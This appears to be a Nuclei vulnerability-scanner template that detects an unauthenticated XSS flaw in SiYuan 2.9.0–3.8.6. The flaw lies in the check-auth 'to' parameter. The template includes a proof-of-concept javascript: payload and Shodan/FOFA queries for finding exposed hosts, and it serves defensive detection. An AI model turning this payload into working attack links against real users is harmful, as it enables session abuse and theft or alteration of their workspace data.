SiYuan 2.9.0-3.8.6 - Unauthenticated XSS via check-auth "to" Parameter

id: CVE-2026-116167

info:
  name: SiYuan 2.9.0-3.8.6 - Unauthenticated XSS via check-auth "to" Parameter
  author: kosoyyagent
  severity: high
  description: |
    SiYuan 2.9.0 through 3.8.6 serves the unauthenticated /check-auth authorization page (app/stage/auth.html) with a script that assigns the `to` query parameter to window.location.href without scheme validation. A crafted link whose `to` value is a javascript: URI executes script in the kernel origin once the victim completes authentication on that page.
  impact: |
    Script executes in the authenticated kernel origin and can invoke same-origin kernel APIs to read or modify workspace content and settings with the victim's session.
  remediation: |
    Update to SiYuan 3.8.7 or later, which routes the `to` value through safeRedirectTarget and only allows same-origin destinations.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmj3-xc2f-6w4w
    - https://www.vulncheck.com/advisories/siyuan-2.9.0-before-3.8.7-xss-via-check-auth-to-parameter
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116167
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
    cvss-score: 7.6
    cve-id: CVE-2026-116167
    epss-score: 0.0025
    epss-percentile: 0.16371
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: siyuan-note
    product: siyuan
    shodan-query: 'http.html:"siyuan"'
    fofa-query: 'body="siyuan"'
  tags: cve,cve2026,siyuan,xss,unauth

http:
  - raw:
      - |
        GET /check-auth?to=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(to_lower(body), "siyuan")'
          - 'contains(body, "searchParams.get(\"to\")")'
          - 'contains(body, "location.href = url.searchParams.get") || contains(body, "location.href = toPath")'
          - '!contains(body, "safeRedirectTarget")'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008d0759a12810594fc93c8b99d4903170532c53a0b835ee25f2266ff89215ad25022100c63e957c5b3c97f89577723f72bd7b583283b92fcdcd8e7ba9ee5573246460f2:922c64590222798bb761d5b6d8e72950